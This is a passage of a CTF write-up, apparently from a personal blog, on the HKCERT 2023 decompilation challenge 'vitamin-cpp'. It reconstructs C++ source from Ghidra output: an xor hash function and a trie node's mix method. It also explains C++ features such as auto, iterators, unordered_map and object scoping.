&lt;p&gt;&lt;strong&gt;Exercise&lt;/strong&gt;: Reverse the &lt;code&gt;wordhash&lt;/code&gt; function.&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Solution&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;wordhash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; hash &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        hash &lt;span class=&quot;token operator&quot;&gt;^=&lt;/span&gt; s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; hash&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is a simple hash function which &lt;em&gt;xors&lt;/em&gt; all characters in a string. It&#39;s not a very &lt;em&gt;effective&lt;/em&gt; hasher, because it&#39;s prone to &lt;a href=&quot;https://en.wikipedia.org/wiki/Hash_collision&quot;&gt;collisions&lt;/a&gt; (also it&#39;s not &lt;a href=&quot;https://isocpp.org/wiki/faq/const-correctness&quot;&gt;const-correct&lt;/a&gt;). But eh, this is just for a CTF challenge.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;implement-the-data-structure&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#implement-the-data-structure&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Implement the Data Structure&lt;/h3&gt;
&lt;p&gt;Time to implement the core of the program: the TrieNode class. As before, we can refer to Ghidra&#39;s output.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Exercise&lt;/strong&gt;: Reverse &lt;code&gt;TrieNode::insert&lt;/code&gt;, &lt;code&gt;TrieNode::search&lt;/code&gt;, and &lt;code&gt;TrieNode::mix&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We can make good use of Ghidra&#39;s Rename, Retype, and Edit Function Signature tools to clean up the code.&lt;/li&gt;
&lt;li&gt;Ghidra sometimes loads incorrect function signatures (e.g. for &lt;code&gt;operator[]&lt;/code&gt;). You may wish to edit the signature so that it displays arguments properly.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&#39;ll leave the first two functions as an exercise for the reader. :)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mix()&lt;/code&gt; seems to be a total oddball, as tries don&#39;t usually have such a function.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Ghidra decompilation of the TrieNode::mix function.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-1536w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-1536w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1536 / 1098&quot; alt=&quot;Ghidra decompilation of the TrieNode::mix function.&quot; title=&quot;Ghidra decompilation of the TrieNode::mix function.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-1536w.webp 1536w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1536px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Ghidra decompilation of &lt;code&gt;TrieNode::mix()&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;&lt;code&gt;TrieNode::mix&lt;/code&gt;: Possible Solution&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mix&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	unordered_map&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; new_map&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token comment&quot;&gt;// For each edge...&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pair &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; ch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// ...update the character.&lt;/span&gt;
		new_map&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;token comment&quot;&gt;// A new map is used so that old mappings aren&#39;t kept.&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// Update the map of the current node.&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;next_node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; new_map&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token comment&quot;&gt;// Recurse into child nodes with the same xor key.&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pair &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; ch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		node&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;mix&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cmix&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Now if you run this through the compiler diff, it should respond with some lines:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-diff-asm&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-asm&quot;&gt;&lt;span class=&quot;token deleted-sign deleted language-asm&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;call    _ZSt3getILm0EKcP8TrieNodeERNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERS7_
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-asm&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;call    _ZSt3getILm0EKcP8TrieNodeERKNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERKS7_&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Assembly&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Subtle. But there is a good reason why this occurs.
We&#39;ll look at this in more detail later.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;on-various-features&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-various-features&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On Various Features&lt;/h3&gt;
&lt;p&gt;Common, but worth mentioning.&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;On &lt;code&gt;auto&lt;/code&gt;&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;&lt;code&gt;auto&lt;/code&gt; is a special keyword introduced in C++11 typically used to tell the compiler: &amp;quot;figure out this type for me&amp;quot;.&lt;/p&gt;
&lt;p&gt;It has seen wide adoption and growing support in the standard (more features for &lt;code&gt;auto&lt;/code&gt; are added each standard). Now (C++20) it&#39;s used widely in template parameters and lambda parameters.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;On Iterators&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;The previous solution for &lt;code&gt;mix()&lt;/code&gt; made use of &lt;em&gt;iterators&lt;/em&gt;. These are commonly used by the &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Standard Template Library&quot;&gt;STL&lt;/abbr&gt;, providing a generic interface for iterating over containers.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; container&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; container&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We generally start with &lt;code&gt;.begin()&lt;/code&gt; and iterate with &lt;a href=&quot;https://stackoverflow.com/a/1077047/10239789&quot;&gt;prefix increment&lt;/a&gt; (&lt;code&gt;++it&lt;/code&gt;) until we hit the &lt;code&gt;.end()&lt;/code&gt; iterator. With iterators, we can apply generic &lt;a href=&quot;https://en.cppreference.com/w/cpp/algorithm&quot;&gt;algorithms&lt;/a&gt; on generic containers.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;On Unordered Map&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;You may be wondering: why &lt;code&gt;std::unordered_map&lt;/code&gt;? Why not &lt;code&gt;std::map&lt;/code&gt;? Why type 10 extra keystrokes?&lt;/p&gt;
&lt;p&gt;The reason is time complexity.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;std::map&lt;/code&gt; is a binary search tree, giving &lt;code&gt;O(log n)&lt;/code&gt; search time on average (where &lt;code&gt;n&lt;/code&gt; is the number of entries).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;std::unordered_map&lt;/code&gt; is a hashmap, giving &lt;code&gt;O(1)&lt;/code&gt; search time on average. Takes more space though.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As the value of n increases, the number of operations required for &lt;code&gt;std::map&lt;/code&gt; will increase at a faster rate compared to &lt;code&gt;std::unordered_map&lt;/code&gt;. This is because &lt;code&gt;std::unordered_map&lt;/code&gt; is not affected by the number of entries in the map (except in the case of rehashing); hence, the constant time complexity, &lt;code&gt;O(1)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In the interest of performance, it&#39;s typical to opt for &lt;code&gt;unordered_map&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But in our case, since a node only has 256 possible edges (&lt;code&gt;char&lt;/code&gt;), the potential speed boost is limited, and the choice between &lt;code&gt;map&lt;/code&gt; and &lt;code&gt;unordered_map&lt;/code&gt; is debatable. ¯&#92;_(ツ)_/¯&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h3 id=&quot;on-scoping&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-scoping&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On Scoping&lt;/h3&gt;
&lt;p&gt;An object in C++ has a &lt;strong&gt;constructor&lt;/strong&gt; and &lt;strong&gt;destructor&lt;/strong&gt;, functions that run at the beginning and end of its lifetime. The object&#39;s &lt;em&gt;&lt;strong&gt;scope&lt;/strong&gt;&lt;/em&gt; affects the placement of its constructor and destructor.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Let’s look at some examples:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// String in outer scope.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string constructor called&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do stuff&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string destructor called&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// String in inner scope.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string constructor called&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do stuff&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string destructor called&lt;/span&gt;
